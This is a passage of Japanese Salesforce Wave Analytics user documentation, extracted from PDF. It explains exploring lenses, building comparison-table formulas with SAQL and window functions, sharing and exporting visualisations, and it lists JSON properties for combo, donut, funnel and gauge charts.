たとえば、ドーナツグラフでは 1 つの基準と 1 つか 2 つのディメンションを使用できます。

3. グラフの種類 (積み上げ横棒グラフなど) をクリックします。
グラフの視覚化が変わります。
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基準の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

選択した基準によって視覚化全体が定義され、探索範囲が決まります。たとえ
ば、基準と集計方法を「商談数」から「金額合計」に変更します。次に、2 つ目
の基準を追加し、2 つの視覚化を横に並べて表示します。
1. 集計方法として [合計]をクリックし、基準として [金額 (毎月発生、USD)] をク

リックします。
視覚化が変わり、[金額合計] が表示されます。

2. 2 つ目の基準を追加するには、[基準] ボタンをクリックします。

3. 集計方法として [平均] をクリックし、基準として [オープン期間 (日数)] をクリックします。
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新しい基準は右側に表示されます。

4. 新しい基準を左に移動するには、[オープン期間の平均 (日数)] をクリックし、[< 左に移動] をクリックしま
す。

2 つの視覚化の位置が交換されます。
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5. 別の基準を追加するには、[基準] ボタンを再度クリックします。
レンズには最大 4 個の基準を設定できます。

グラフのスケールの変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

グラフのスケールを変更します。たとえば、対数スケールを適用します。使用
可能なオプションは、グラフの種類に応じて異なります。
1. [オプション] ボタンをクリックします。

2. ダイアログボックスで、スケールを選択します。

比較テーブル列の操作
クリックやキーストロークを使用して、新しい列の作成や既存の列間の移動を
行います。
矢印ボタンまたはキーボードの左右矢印キーを使用して列エディタ内で列を移
動できます。
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右端の列に達すると、右矢印ボタンが列追加ボタンになります。列追加ボタンをクリックするか、キーボード
の Enter キーを使用して、新しい数式列を追加することができます。

新しい列追加メニューを使用して、比較テーブルから列を直接追加することもできます。
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[数式列を追加] を選択すると、列が追加されて列エディタが開きます。
新しい [閉じる] ボタンを使用すると、列の変更が適用されずに列エディタが終了します。

比較テーブルを使用した計算列の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

比較テーブルを使用して、データの列でカスタム数式を定義できます。基準を
横に並べて表示し、テーブルの列と行を対象に計算を実行できます。
1. グラフタイプギャラリーから [テーブル比較] を選択します。

2. [グループ] をクリックしてディメンションを追加します。

メモ: データ内の null 値はマイナス記号 (「-」) で表示されます。

3. [セル] 選択をクリックして、最初の基準を変更します (「Count of Rows」)。さ
らに基準を追加するには、基準列のヘッダーにある矢印をクリックし、[列を
追加] を選択します。
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新しい列が選択された状態で、[セル] 選択をクリックして基準を変更します。基準列のヘッダーをクリッ
クして選択し、[検索条件] をクリックして検索条件を適用することもできます。

ディメンション列は左側、基準列は右側にあります。基準列は、数式で A、B、C などで識別されます (A が
左端の基準列を示します)。

4. カスタム数式を保持する基準列を追加し、ドロップダウンメニューから [この列を編集] を選択します。
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[数式] 項目で、このテーブルの演算子を使用して数式を作成します。

メモ: 基準列は、左から右の順に英大文字で識別されます。

計算例記号

加算、行ごとに適用。A+B、A+100+

減算、行ごとに適用。A-B、A-100-

除算、行ごとに適用。A/B、A/100/

乗算、行ごとに適用。A*B、A*100*

括弧による演算のグループ化。(B-A)/(A*100)( )

列エディタでは、算術関数を含む SAQL 数式を入力するか、ウィンドウ関数を選択して、列の値を計算でき
ます。また、列に名前を付けたり、数値形式を選択したりすることもできます。数式のいずれかにゼロに
よる除算が含まれている場合、結果はマイナス記号 (「-」) として表示されます。
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5. SAQL を使用するには、数式エディタに SAQL を直接入力し、[適用] をクリックすると結果が表示されます。

SAQL の記述についての詳細は、『Wave Analytics SAQL リファレンス』を参照してください。

メモ: percentile_desc および percentile_cont 関数は、数式エディタに入力したウィンドウ関
数内では使用できません。

6. 関数を使用するには、関数エディタを選択し、メニューからウィンドウ関数のいずれかを選択します。関
数を設定した後、[適用] をクリックすると結果が表示されます。
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数式エディタに切り替えて、選択した関数によって生成された SAQL を表示します。関数によって SAQL を
生成した後で、自分で記述した SAQL と同様に SAQL を編集できます。

比較テーブルで使用できるウィンドウ関数
比較テーブルの関数メニューでは、便利なウィンドウ関数への UI ベースのアクセスが提供されるため、SAQL

でそれらを記述する時間を節約できます。関数を選択したら、生成された SAQL を数式エディタで編集できま
す。
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スライディングウィンドウ

設定可能な行の範囲に関する集計関数を現在の行に適用します。関数はテーブル内で定義されるグルーピング
でリセットできます。スライディングウィンドウは、累計値や移動平均などの値を計算する場合に使用しま
す。

グループの割合

グループ合計または総計に対する各行の割合を計算します。関数はテーブル内で定義されるグルーピングでリ
セットできます。

グループ内のランク
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ランク、稠密ランク、累積分布、および行番号関数を提供します。ランキングはテーブル内で定義されるグ
ルーピングでリセットできます。
[順番] メニューでは、ランク付けされる値に基づいて作成されたランキングの表示順を決定します。昇順のラ
ンキングでは最も低い値が 1 番となり、降順のランキングでは最も高い値が 1 番となります。

前期比

複数の期間を比較して、値の変化を計算します。たとえば、売上前年比や完了商談数の前四半期比は、列を選
択して期間の長さを設定することによって計算できます。

必ず、最初に年でデータをグループ化してから、(必要に応じて) 可能であれば、より短い期間でグループ化し
ます。複合日付の使用が可能な場合は、前期比関数に直接使用できます。複合日付とは、たとえば「2016-01」
(2016 年 1 月) や「2016-1」(2016 年の第 1 四半期) などです。比較は、パーセントまたは単位で表示できます。
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前からの変更
現在の行の値と前の行の値を比較してその差を計算します。たとえば、第 1 四半期と第 4 四半期間の取引先数
の増加を計算するには、取引先数を表示している列を[列]から選択します。その計算を各国に制限するには、
国の列を [リセットグループ] から選択します。

累計値
前のすべての行を合計して現在の行の合計値を計算します。たとえば、完了した商談の月ごとの合計を累計値
として計算するには、完了した商談を表示している列を[列]から選択します。各地域内のその累計値を計算す
るには、地域の列を [リセットグループ] から選択します。
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履歴を使用した前の表示初期ビューへの復帰

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

データを探索していくと、多くのパスにつながる場合があります。すべてのパ
スが有益であるとは限りませんが、それでも問題ありません。エクスプローラ
は、レンズにユーザの活動の全履歴を保持しています。レンズを不適切な方法
で変更した場合や、その効果的なアニメーションをもう一度見るだけの場合は、
履歴を使用してすぐに以前の状態の視覚化まで戻すことができます。ダッシュ
ボードの元の状態に戻る場合や、その効果的なアニメーションをもう一度見る
だけの場合は、リセットオプションを使用してすばやく初期ビューに戻ること
ができます。
1.

ヘッダーの [履歴を表示] ボタン をクリックします。
サイドバーに、レンズで実行したすべてのアクションの履歴が表示されま
す。

2. リスト内の項目を選択してその時点に移動します。または [戻る] ボタン と [進む] ボタン を使用し
てリスト内を前後に移動します。
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ブラウザのクリップボードを使用したコピーおよび貼り付けによるグループと条件の適用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

データセットの探索中、異なるグルーピングを試したり、別の角度で焦点を絞っ
たりと、複数の方向に進むことがあります。レンズ内を直線的に探索し、履歴
ツールを使用して過去に戻ってから新しい方向に分岐するのではなく、同じデー
タセットを複数の Wave Analytics タブで開くことで、同時に複数の方向を探索で
きます。その後、エクスプローラのコピーと貼り付けツールを使用して、特定
のグルーピングと条件をタブ間で複製できます。
ホームページでは、データセットをクリックするたびに、データセットが新し
いタブで開きます。エクスプローラのコピーと貼り付けツールは、複数のタブ
に同じデータセットがある場合に使用できるように設計されています。
1. 表示中のグラフの種類でデータのサブセットを選択できる場合、グラフ内で

クリックするか、クリックしてドラッグすることでデータを選択します。
選択したデータ以外は使用できません。

2. [アクション] ボタンをクリックします。

3. 選択内容をブラウザのクリップボードにコピーします。[コピー] をクリック
して、選択した項目をクリップボードに収集します。後で選択内容をグルー
プまたは条件のどちらとして貼り付けるかを決定できます。[フォーカス] をクリックすると、選択した項
目がクリップボードに収集されて現在のグラフの条件として適用されます。

4. 同じデータセットを持つ別の Wave Analytics タブに切り替えます。
5. [アクション] ボタンをクリックします。

6. クリップボードから現在のグラフに選択内容を適用します。[グループとして貼り付け]をクリックすると、
選択した次元でグループ化されたデータが表示されます。[条件として貼り付け] をクリックすると、選択
内容が条件として適用されたデータが表示されます。

グラフを完全なデータセットに復元するには、 、[クリア] の順にクリックして、選択を解除しま
す。
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レンズのバックグラウンドでのクエリの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

Wave Analytics は、レンズおよびダッシュボードのバックグラウンドで Salesforce

Analytics Query Language (SAQL) を使用して視覚化のためのデータを収集します。
SAQL ビューアを開き、探索時に記述される基礎の SAQL クエリを参照したり、そ
のクエリをコピーして他で使用したりできます。
1. [オプション] メニュー ( ) を開き、[SAQL を表示]コントロールにアクセスし

ます。

2. [オン] を選択します。
[SAQL クエリ] ペインが開きます。探索を続け、SAQL で表される作業を確認し
ます。

SAQL についての詳細は、『Wave Analytics SAQL リファレンス』を参照してください。
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ダッシュボードへのレンズのクリップ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ダッシュボードにレンズを含めるには、レンズをクリップします。レンズをク
リップすると、最後に使用されたダッシュボードにクエリがステップとして追
加されます。ダッシュボードが開いていない場合は、Wave ダッシュボードデザ
イナの新しいダッシュボードにステップが追加されます。デザイナにステップ
を追加した後、それをダッシュボード内のウィジェットに適用できます。ウィ
ジェットはレンズの視覚化設定を上書きします。つまり、クエリの結果を表示
する方法はウィジェットによって決定されます。
1. レンズを開きます。
2. をクリックします。

レンズのクエリに基づいてステップが作成され、ステップはダッシュボード
デザイナのステップパネルに追加されます。

3. ステップを保存するには、ダッシュボードを保存します。

メモ: ステップのプロパティを変更しても、レンズには影響を与えません。

視覚化のコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

視覚化を新しいタブにコピーして作成することで、元の視覚化は元のタブに保
存し、新しいタブで探索を続行できます。
1. [新規タブにコピー] アイコンをクリックします。

2. 視覚化が作成された新しいタブで探索を続行します。次に保持する必要があ
るビューが現れたら、[保存]をクリックし、[新規タブにコピー]を再度クリッ
クします。
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視覚化の保存

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

視覚化をレンズとして保存します。
1. [保存] アイコンをクリックします。

2. レンズのタイトルと説明を入力し、保存先のアプリケーションを選択しま
す。

3. [保存] をクリックします。

視覚化の共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

視覚化を同僚と共有するには、Chatterへの投稿、一意の URL の取得、スクリーン
ショットのダウンロード、絞り込まれたデータのダウンロードといった方法が
あります。Chatter 投稿では、画像と、Wave Analyticsのアセット (レンズ、ダッシュ
ボード、アプリケーション) へのリンクが提供されます。同僚は、アセットへの
リンクとアクセス権があれば、表示される情報をドリルダウンして探索できま
す。アセットへのアクセス権を付与せずに共有するには、ダウンロードオプショ
ンを使用します。
1. [共有] をクリックします。

2. 使用する共有方法のタブをクリックします。
a. [フィードに投稿]では、Chatterに画像と、レンズ、ダッシュボード、アプ

リケーションへのリンクが投稿されます。[ユーザ] または [グループ]

フィードを選択し、名前を入力して、コメントを入力します。また、投
稿から画像を削除するには、画像にマウスポインタを置いて [x] をクリッ
クします。投稿された画像は公開されていることに留意してください。

b. [URL を取得] では、アセットへの一意の URL が提供されます。リンクをコ
ピーし、共有する場所に貼り付けます。
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c. [ダウンロード] では、アクセス権を付与せずに視覚化を共有することができます。視覚化は、画像
(.png)、または Microsoft® Excel® (.xls) またはカンマ区切り値 (.csv) 形式による絞り込まれたデータとし
てダウンロードできます。

3. 該当する場合は、[アクセス権を付与] をクリックして共有アクセス権のレベルを設定します。
4. [完了] をクリックします。

メモ: 視覚化を共有するには、視覚化が含まれるアプリケーションへのアクセス権を付与する必要が
あります。デフォルトの共有アプリケーション内のレンズ、データセット、ダッシュボードには、シ
ステム管理者がアクセスを制限していない限り、すべての Wave Analytics ユーザがアクセスできます。
その他すべてのアプリケーションは、アプリケーションへのマネージャアクセス権を持つユーザが特
定のユーザ、グループ、またはロールと共有しない限り非公開です。

視覚化の画像ファイルとしてのエクスポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

現在の視覚化をエクスポートし、画像ファイルとして保存できるようにします。
1. [アクション] ボタンをクリックします。

2. [画像としてエクスポート] をクリックします。
新しいブラウザウィンドウが開き、.png 画像ファイルの視覚化が表示されま
す。

3. 画像を右クリックし、[画像を別名で保存...] を選択します。
4. ファイル名を入力し、[保存] をクリックします。

グラフによるデータの視覚化
大量のビジネスデータを理解し、その理解を同僚、パートナー、顧客に伝える
ことが目標ならば、データを視覚化する機能が不可欠です。Wave には、あらゆ
るニーズに対応するグラフがあり、どのグラフでもビジネスの主要な側面を的
確に表現できます。
Wave グラフは、すでにデータの探索に使用されている Wave ツールに統合されています。まずデータセットか
ら始め、レンズを探索し、Wave ダッシュボードデザイナにクリップして、素晴らしいダッシュボードを作成
できます。

バブルマップグラフ
バブルマップグラフを使用して、指定された地理的領域に基準値を視覚的に示します。バブルマップグラ
フは、Wave ダッシュボードデザイナで使用できます。

4608

グラフによるデータの視覚化分析



複合グラフ
複合グラフを使用して、2 つの関連する一連のデータを表示します。たとえば、個別のグループ化された値
の縦棒グラフを、平均値を表す折れ線グラフと重ねて表示します。複合グラフは、Wave ダッシュボードデ
ザイナおよび Classic デザイナで使用できます。
ドーナツグラフ
ドーナツグラフは、複数のグループが存在し、合計に対する各グループの個別値の比率だけでなく、合計
金額も表示する場合に使用します。ドーナツグラフは、Wave ダッシュボードデザイナ、Classic デザイナ、
およびエクスプローラで使用できます。
じょうごグラフ
じょうごグラフを使用して、フェーズに分割できる順次データ (営業サイクルなど) を視覚化します。じょ
うごグラフは、Wave ダッシュボードデザイナおよび Classic デザイナで使用できます。
ゲージグラフ
ゲージグラフを使用して、単一の基準の進捗状況 (収益目標達成率など) を追跡します。ゲージグラフは、
Wave ダッシュボードデザイナで使用できます。
横棒グラフ
横棒グラフを使用して、関連する値をすばやく視覚的に比較します。横棒グラフは、Wave ダッシュボード
デザイナ、Classic デザイナ、およびエクスプローラで使用できます。
ヒートマップ
ヒートマップを使用して、1 つの基準と複数のディメンションがあるデータの高い値と低い値を視覚的に強
調します。ヒートマップグラフは、Wave ダッシュボードデザイナ、Classic デザイナ、およびエクスプロー
ラで使用できます。
地図グラフ
地図は、対応付けられた値に応じて領域を網掛け表示できる地理的コンポーネントを含むデータがある場
合に使用し、値の高い領域を強調表示できます。地図グラフは、Wave ダッシュボードデザイナおよびClassic

デザイナで使用できます。
カスタム地図グラフ
対応付けられた値に応じて領域を網掛け表示できる地図グラフを使用すると、値の高い領域を強調表示で
きます。地理的な単位のカスタム地図を使用したり、多角形で表示可能な種類の領域を示したりできます。
カスタム地図グラフは、Wave ダッシュボードデザイナおよび Classic デザイナで使用できます。
マトリックスグラフ
マトリックスグラフ (Wave ダッシュボードデザイナの新機能) を使用して基準を視覚的に表現するテーブル
を作成すると、極値をすばやく見つけることができます。マトリックスグラフは、Wave ダッシュボードデ
ザイナ、Classic デザイナ、およびエクスプローラで使用できます。
ピラミッドグラフ
ピラミッドグラフを使用して、積み上げ形式のディメンション値の相対サイズを視覚的に強調します。ピ
ラミッドグラフは、Wave ダッシュボードデザイナで使用できます。
レーダーグラフ
レーダーグラフを使用して、1 つのディメンションと少なくとも 3 つの測定値列を持つ小さなデータセット
を表示します。レーダーグラフは、Wave ダッシュボードデザイナで使用できます。
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評価グラフ
評価グラフを使用して、測定された品質 (顧客満足度など) の評価を表示します。評価グラフは、Wave ダッ
シュボードデザイナで使用できます。
散布図
散布図を使用して、2 つのデータグループの相関関係を視覚化します。散布図は、Wave ダッシュボードデ
ザイナ、Classic デザイナ、およびエクスプローラで使用できます。
タイムライングラフ
タイムライングラフを使用して、経時的な値の変化を表示します。タイムライングラフは、Wave ダッシュ
ボードデザイナ、Classic デザイナ、およびエクスプローラで使用できます。
ツリーマップグラフ
ツリーマップを使用して定量的な階層データを視覚化します。包含する長方形は色でリレーションを示し、
「葉」の長方形は面積で量を表します。ツリーマップグラフは、Wave ダッシュボードデザイナで使用でき
ます。
縦棒グラフ
縦棒グラフを使用して、リードや金額などの相対的な計数を表示します。縦棒グラフは、Wave ダッシュ
ボードデザイナ、Classic デザイナ、およびエクスプローラで使用できます。
滝グラフ
滝グラフを使用して、連続して取り込まれた正または負の値の累積影響を値の合計の詳細と共に表示しま
す。「飛行レンガ」グラフや「マリオ」グラフとも呼ばれます。値の合計の詳細を含めるには、積み上げ
滝グラフを使用します。滝グラフは、Wave ダッシュボードデザイナおよびClassic デザイナで使用できます。

バブルマップグラフ
バブルマップグラフを使用して、指定された地理的領域に基準値を視覚的に示します。バブルマップグラフ
は、Wave ダッシュボードデザイナで使用できます。

バブルマップグラフの作成
Wave バブルマップグラフは地図グラフで使用可能な地図を使用し、地図の異なる基準値を選択できます。
たとえば、色の彩度のみの代わりにバブルを使用して、米国の各州のパイプラインにある商談数を示すことが
できます。
1. Wave でデータを州別にグループ化してから、基準を変更します。
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2. レンズを Wave ダッシュボードデザイナにクリップします。
3. [グラフの種類] から [バブルマップ] を選択し、[対応付け種別] から [アメリカの州] を選択します。

4611

グラフによるデータの視覚化分析



4. グラフのタイトルを入力し、必要に応じて他の調整を行います。
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複合グラフ
複合グラフを使用して、2 つの関連する一連のデータを表示します。たとえば、個別のグループ化された値の
縦棒グラフを、平均値を表す折れ線グラフと重ねて表示します。複合グラフは、Wave ダッシュボードデザイ
ナおよび Classic デザイナで使用できます。

複合グラフのプロパティ
複合グラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、同等
の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

TRUEbooleanshowValues棒で表される数値を棒内に表示し
ます。

チェック
ボックス

グラフの
棒に値を
表示

TRUEbooleanshowPoints折れ線グラフにデータ点を表示し
ます。

チェック
ボックス

点を表示

fitnone、fit、
keepLabels

autoFitModeコンテナウィジェットに合わせて
グラフに適用するサイズの調整を
選択します。

ドロップ
ダウン

自動調整

• なし: 調整は行われません。
• 調整: 含まれるウィジェットに合

うまでグラフのサイズが調整さ
れます。

• 表示ラベルを保持: 表示ラベルが
表示されたままになるようにグ
ラフのサイズが調整されます。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

multisync、
dual、multi

dimensionAxis.axisModeグラフに複数の基準が表示される
方法を指定します。

ドロップ
ダウン

軸モード

• 単一軸: 1 つの軸に基準を表示し
ます。

• 二軸: 最初の基準を左軸、2 番目
の基準を右軸に表示します。

• 小さい複数: 基準ごとに 1 つのグ
ラフを作成します。

TRUEbooleandimensionAxis.showAxis

meansureAxis1.showAxis

グラフに軸を表示します。X、Y

(左)、および Y (右) に使用できます。
チェック
ボックス

軸を表示

meansureAxis2.showAxis

TRUEbooleandimensionAxis.showTitle

meansureAxis1.showTitle

軸のタイトルを表示します。X、Y

(左)、および Y (右) に使用できます。
チェック
ボックス

タイトル
を表示

measureAxis2.showTitle

stringdimensionAxis.title

meansureAxis1.title

軸に付けられたタイトル。X、Y

(左)、および Y (右) に使用できます。
テキスト
入力

タイトル

meansureAxis2.title

0number

string

measureAxis1.referenceLine

.value .label .color

指定された Y 軸の値での横線。Y (左)

および Y (右) に使用できます。
数値入
力、テキ
スト入

基準線
rgb(0, 161,
224)color stringmeasureAxis2.referenceLine

.value .label .color

• 値: Y 軸の値 (数値)
力、色入
力 • 表示ラベル: 線に表示されるテキ

スト
• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

ドーナツグラフ
ドーナツグラフは、複数のグループが存在し、合計に対する各グループの個別値の比率だけでなく、合計金額
も表示する場合に使用します。ドーナツグラフは、Wave ダッシュボードデザイナ、Classic デザイナ、およびエ
クスプローラで使用できます。

ドーナツグラフのプロパティ
ドーナツグラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、
同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

TRUEbooleanshowMeasureTitleドーナツの上に基準タイトルを表
示します。

チェック
ボックス

基準タイ
トルを表
示

TRUEbooleanshowTotal軸に付けられたタイトル。X、Y

(左)、および Y (右) に使用できます。
チェック
ボックス

合計を中
央に表示

700、10、
20、30、

inner中央の穴が占めるドーナツの直径
のパーセント。合計が表示される

ドロップ
ダウン

中央のサ
イズ

40、50、場合、中央のサイズはその合計を
収めるのに十分な大きさにします。 60、70、

80、90、
100

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

4616

グラフによるデータの視覚化分析



デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

じょうごグラフ
じょうごグラフを使用して、フェーズに分割できる順次データ (営業サイクルなど) を視覚化します。じょうご
グラフは、Wave ダッシュボードデザイナおよび Classic デザイナで使用できます。

じょうごグラフのプロパティ
じょうごグラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、
同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

3numberstemSegmentsじょうごの柄に表示する値の数。テキスト
入力

ステムセ
グメント
の数

compactNumbernone、
compactNumber、
percent

valueType各セグメントに表示する数値の形
式。

ドロップ
ダウン

値の表示
形式

• なし: 値を表示しない
• コンパクト数値: 短縮された数値

(911K)

• パーセント: 合計のパーセント
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleanshowMeasureTitleグラフの上に基準タイトルを表示
します。

チェック
ボックス

基準タイ
トルを表
示

TRUEbooleanshowTotal基準タイトルが有効な場合、基準
タイトルと共に基準の合計を表示
します。

チェック
ボックス

合計をタ
イトルに
表示

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数
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ゲージグラフ
ゲージグラフを使用して、単一の基準の進捗状況 (収益目標達成率など) を追跡します。ゲージグラフは、Wave

ダッシュボードデザイナで使用できます。

ゲージグラフの作成
たとえば、会社が事業を行っている各国の取引先平均値の目標を設定している場合、ゲージグラフはその目標
にどの程度近づいているかを表示するために最適です。
取引先情報が含まれるデータセットはすでにあるため、その取引先の目標にどの程度近づいているかを示すグ
ラフにそのデータを表示する必要があります。各ゲージグラフは、国ごとに 1 つの値を表示し、値の範囲を強
調表示できます。
1. Wave Analytics で、取引先データセットを使用してレンズを作成し、Wave ダッシュボードデザイナにクリッ

プします。

2. グラフの種類を [極座標] (円形) に変更します。
[フラットゲージ] (線形) も選択できます。

3. 中央のサイズを調整し、数値のスタイルを設定します。

4. ブレークポイント値および関連付けられたバンドの色を設定します。
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ブレークポイントでは、色のバンドが遷移する範囲値を設定します。最大値は 10,000 です。各国で取引先
の平均値が 7,000 を超えることが目標です。

5. グラフ全体をスクロールせずに一目で確認できるように、[Trellis] の種類を [折り返し] に設定します。

ゲージグラフの色のバンド設定によって、7,000 を超える値を簡単に見分けることができます。また、目標
値に近づいている国も簡単に確認できます。

ゲージグラフのプロパティ
極座標およびフラットゲージグラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これら
のプロパティには、同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

8050、60、
70、80、
90、100

inner極座標のみで、中央の穴が占める
直径のパーセント。

チェック
ボックス

中央のサ
イズ

0numberminローレンジ色のバンドの最小値。数値入力最小
33numbermediumローレンジ色とミドルレンジ色を

分離するブレークポイント値。
数値入力中

66numberhighミドルレンジ色とハイレンジ色を
分離するブレークポイント値。

数値入力高

100numbermaxハイレンジ色のバンドの最大値。数値入力最大
#F71979

#CC203D
color stringcolors.lowColor1

colors.lowColor2

